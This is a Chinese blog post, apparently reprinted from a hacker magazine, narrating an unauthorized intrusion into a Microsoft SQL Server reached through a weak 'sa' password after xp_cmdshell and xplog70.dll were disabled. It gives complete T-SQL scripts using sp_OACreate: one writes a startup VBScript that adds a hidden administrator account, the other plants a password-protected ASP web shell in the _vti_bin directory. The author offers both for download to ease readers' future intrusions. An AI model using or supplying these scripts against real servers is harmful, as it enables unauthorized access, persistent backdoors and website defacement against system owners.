对SA权限的再突破 (对付xplog70.dll被删)

Win10 开机突然蓝屏错误代码0xc0000001安全模式也进不了,不用重装系统怎么修复?(已解决)九个解决参考方案 Win 10专业版HP480G7。 阅读详情
黑客X档案青野志狼有一篇文章<<对SA的权限突破>>。文章写到了在知道sql服务器的SA用户名弱密码后,而服务器去掉了SA的xp_cmdshell权限的情况下,如何通过SQL命令恢复SA的xp_cmdshell权限来进行入侵。这样入侵(详细请看原文)的前提是服务器的xplog70.dll没有被删除或改名,这一点青野志狼也谈到了,但是他没有写在xplog70.dll被删掉或改名的情况下的入侵方法。这里就把我曾经在这样情况下一次成功的黑站验给大家分享一下。 


  先来看我对xx.41.153.190的扫描结果。x-scan2.3扫描后的详细漏洞表如下:

  [开放端口]21/80/1433/3389 
[sql弱口令]sa(aaa)
[CGI漏洞]
/_vti_bin/fpcount.exe?Page=default.htm|Image=2|Digits=1 [漏洞描述] 
/_vti_bin/shtml.dll/nosuch.htm [漏洞描述] 
/_vti_bin/shtml.dll [漏洞描述] 
/_vti_bin/shtml.dll/_vti_rpc [漏洞描述] 
/_vti_bin/shtml.exe [漏洞描述] 
  除了这几个漏洞,x-scan2.3再没有扫出别的了,好在有sql弱口令。用sql连接器连上看看吧,可大失所望。dir命令不能执行,好像是服务器去掉了SA的xp_cmdshell权限。 

我再用sql的查循分析器来连接SQL服务器恢复cmd_shell权限试试。在sql的查循分析器里写入 sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll',但是显示错误。 
看样子是xplog70.dll被改名了。抱着试试看看的态度,再用sql连接器连上,执行dir命令,依然依显示图1的情况。
  这种情况下怎么办呢?既然有了sql弱口令,而且sql的查循分析器也可以连接上,当然也可以用它来写一些文本程序在服务器上。再打开查循分析器,在弹出的文本框里写入以下sql脚本命令: 

 

declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
---给菜鸟加个简单注释,这两行代码是建立sql的文本对象
exec sp_oamethod @o, 'createtextfile', @f out, 
'c://docume~1//alluse~1//「开始」菜单//程序//启动//a.vbs', 1
--在启动菜单里写入a.vbs,当然这里只支持中文
exec @ret = sp_oamethod @f, 'writeline', NULL,
'set wshshell=createobject("wscript.shell")'
--单引号里的都是a.vbs的内容,要一行一行的写,下同。
exec @ret = sp_oamethod @f, 'writeline', NULL,
'a=wshshell.run ("cmd.exe /c net user lcx 123 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)'
--a.vbs内容结束
执行查循后,这样就会在服务器的启动程序里写入一个a.vbs脚本。 

只要服务器重启,就可以加入一个用户名是lcx,密码是123的管理员用户了。做完这一切后我就开始等待服务器重启了,可是等到花儿也谢了,这个用户也没加成功,我用lcx的用户名和密码123一直也登陆不了3389端口。不知是服务器没重启,还是服务器不是中文系统(因为这个sql脚本只支持中文),还是被管理员发现了,总之就是没加成功。在这之后,我就陷入了深思。于是回头看x-scan的漏洞扫描报告,上安全焦点查了一些扫到的漏洞资料,还是一无所获,扫到的漏洞都没有太大的利用价值。思考中,突然灵光一闪,_vti_bin是一个虚拟目录,在IIS上默认的物理路径是C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/40/isapi/,我可以在这里用sql的查循分析器写入一个asp程序呀。先看看思路对不对,执行_vti_bin/"> http://ip/_vti_bin/ ,返回403错误码。

证明服务器这个虚拟目录是存在的。好了,我开始写sql脚本,一行一行写得好累呀,做个黑客也不容易呀(本想写入海阳顶端网木马xp.net版。可代码太多了): 

 

declare @o int, @f int, @t int, @ret int ,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
--给菜鸟加个简单注释:还是建立sql程序的文本对像
exec sp_oamethod @o, 'createtextfile', @f out, 
'C://Program Files//Common Files//Microsoft Shared//Web Server Extensions//40//isapi//lcx.asp', 1
--在这个目录写入一个lcx.asp文件,没有就生成,你可以根据需要改成别的目录。
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% if Request("password")=1234 then'
--单引号里都是lcx.asp代码内容,要一行一行的写呀,我写的是一个改装的cmd.asp,下同。
exec @ret = sp_oamethod @f, 'writeline', NULL,
'session("password")="lcx"'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'response.redirect Request.ServerVariables("URL")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'elseif session("password")="" then %>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<FORM name="user" method="POST"> <INPUT TYPE=password NAME=password> <INPUT TYPE=Submit VALUE="确认提交"> </form>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%else%>' 
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<HTML>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<input type=text name=".CMD" size=45 value="<%= szCMD %>">'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<input type=submit value="执行" class=input>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'</FORM> <pre>'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<% Dim oScript,oScriptNet,oFileSys, oFile,szCMD, szTempFile'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'On Error Resume Next'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oScript = Server.CreateObject("WSCRIPT.SHELL")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'szCMD = Request.Form(".CMD")'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'If (szCMD <> "") Then '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'szTempFile = "C:/" & oFileSys.GetTempName( ) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' End If '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'If (IsObject(oFile)) Then'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'On Error Resume Next'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'Response.Write Server.HTMLEncode(oFile.ReadAll) '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' oFile.Close '
exec @ret = sp_oamethod @f, 'writeline', NULL,
' Call oFileSys.DeleteFile(szTempFile, True)'
exec @ret = sp_oamethod @f, 'writeline', NULL,
'End If %> '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'</BODY> </HTML> '
exec @ret = sp_oamethod @f, 'writeline', NULL,
'<%end if %> '
--好累,代码终于写完了

然后我将这段脚本放在查循分析器里执行,运气不错,服务器的iis是默认安装的,显示命令成功完成。 
迫不及待的来看看运行结果吧。 

哈,成功了。忘记告诉你,刚才运行的这段sql脚本,会在C:/Program Files/Common Files/Microsoft Shared/Web Server Extensions/40/isapi/这个物理目录下,也就是虚拟目录_vti_bin目录下生成lcx.asp这个asp文件,是一个改装的cmd.asp了,密码是1234。输入密码1234后,再来看看,得到一个cmd的网页shell了。 


虽然权限不是很大,但是查看服务器敏感信息,黑掉服务器的网页是绰绰有余的。我就用这个lcx.asp在服务器的C:/Program Files/Microsoft SQL Server/MSSQL/Binn这个目录里发现了一个可疑的xplog701.dll文件,和原来的文件大小比较,果然是一个改名的xplog70.dll。也许有的人要说,你可以再将名字改回来呀。我也试过,虽然改过名,也需要重启mssql服务,这个xplog70.dll才可以加载。看样子我的运气到了尽头,在这台机器上再没有得到太多渗透入侵结果了。 


  后来我在本机做过测试,我是w2k+sp3+iis5.0+fat32系统,在默认安装情况下,一些默认的虚拟目录用sql 查循分析器大都是可写的,而且这些默认的虚拟目录对应的物理目录都是固定的。除了上文讲到的_vti_bin外,还有像 http://ip/printers 对应的是C:/WINNT/web/printers, http://ip/ 对应的是c:/inetpub/wwwroot等等。所以平常说的暴露物理路径的危害由此实例可以管中窥豹了。 


  最后,我将本文中两个sql脚本和我改装过的lcx.asp为了大家今后入侵的方便,放在这里供大家下载(同url下的vbs.sql/asp.sql/lcx.asp压缩包里有),如果你今后也遇到同样情况,省去你手工输入的麻烦了,但我可不鼓励你入侵呀。:-)

【Burp入门第三十三篇】BurpSuite+Proxifier安装配置,实现微信小程序抓包 本文介绍Burp+Proxifier安装配置,实现微信小程序抓包 阅读详情

相关推荐

xplog70.dll

解决MSSqlServer中xplog70.dll被删的问题 找到\MSSQL.1\MSSQL\Binn\路径下,若发现少了这个文件,解压以后直接把它复制进去就可以了

sql server 2005下开启xp_cmdshell的办法

sql server 2005下开启xp_cmdshell的办法 2009年05月09日 星期六 下午 06:06 sql server 2005下开启xp_cmdshell的办法EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell...

weixin_33738982的博客 271

交通流量数据集.zip

依据开源数据标注、整理所得数据集。辛苦标注的数据希望对你有帮助

xplog70.dll删除后的恶梦。。。

前几天,心血来潮,跑服务器上执行了个脚本删除了xp_cmdshell。。随手又把xplog70.dll也干掉了。。恶梦从此就来了。。本来我是通过sql server agent配置的数据库备份计划,结果第二天发现它启动不来了。提示“启动后又停止了”。到应用程序日志中看了一下,内容如下: --------------在库 xplog70.dll 中找不到函数 xp_msve...

weixin_34161064的博客 791

SQL恢复XP_CMDSHLL,以及XPLOG70.DLL被删,直接用SQL连接器开启3389

content>用SQL连接器恢复XP_CMDSHLLE的命令(1)SQL Query Analyzersp_addextendedproc xp_cmdshell,@dllname=xplog70.dll(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc xp_cmdshell,xpsql70.dll

whjtoby的专栏 1866

修改数据库的属性时无法加载DLL xplog70.dll

昨天晚上练习ADO.NET,打开SQL Server Management Studio准备修改数据库属性时,遇到程序异常:无法显示请求的对话框,,画面如下: 看到这个异常当时心里有点发慌,说实话,因为机器多次遭到攻击,系统已装过很多遍了,装了小红伞杀毒之后算平静了,这里强烈建议不要将数据库sa管理员的密码设为空或123,不然遭到攻击就麻烦了。仔细看了这个异常原来是病毒或木马程...

weixin_30596165的博客 698

SA权限的再突破 (对付xplog70.dll被删)转载

SA权限的再突破 (对付xplog70.dll被删)转载 转载自:http://www.bitscn.com/plus/view.php?aid=45439 exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dl...

dingshen2767的博客 699

mssql提权总结

mssql提权总结

st3pby的博客 3252

W3C日志文件过大会使网站性能下降甚至IIS假死

在公司使用MES后,WEB服务器本来有20多G的,但是很快就报空间不足,上去查看时发现空间无多了,但是又找不到原因,也不知那里占用了这么多的空间。 说明一下,我们公司的MES是B/S的,用ASP.NET1.1做的网站+MSSQL2005,Web服务器和DB服务器是分开的,车间的MES操作用的电脑有500多台,别外,我们的网页在当时设计时用了框架(这会增加与服务器连接的数量,当时没有想到的地方,

謝堂文专栏 4510

修复FrontPage服务器扩展对IIS的意外影响

修复FrontPage服务器扩展对IIS的意外影响 Article last modified on 2002-9-11The information in this article applies to:ü         Microsoft IIS 5.0ü         Microsoft FrontPageü         Microsoft Outlook Web Accessü  

软件开发资料汇总 668

神的眷顾

今天感受到了神的眷顾,一天没有挂掉 随时出现了2次堵塞,cpu到了297%,5分钟内都挺了过去 昨天的宕机生成了一个1g的core文件,当时居然没有发现,今天虽然发现了,可惜我还是看不懂啊。分析access.log,居然发现了一些奇怪的http request。 [code="java"] /_vti_bin/shtml.exe/_vti_rpc /_vti_inf.html [/...

linuxgao 231
上一篇: SQL Server应用程序中的高级SQL注入
下一篇: 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令
fzzf
博客等级 码龄23年 1粉丝 120原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值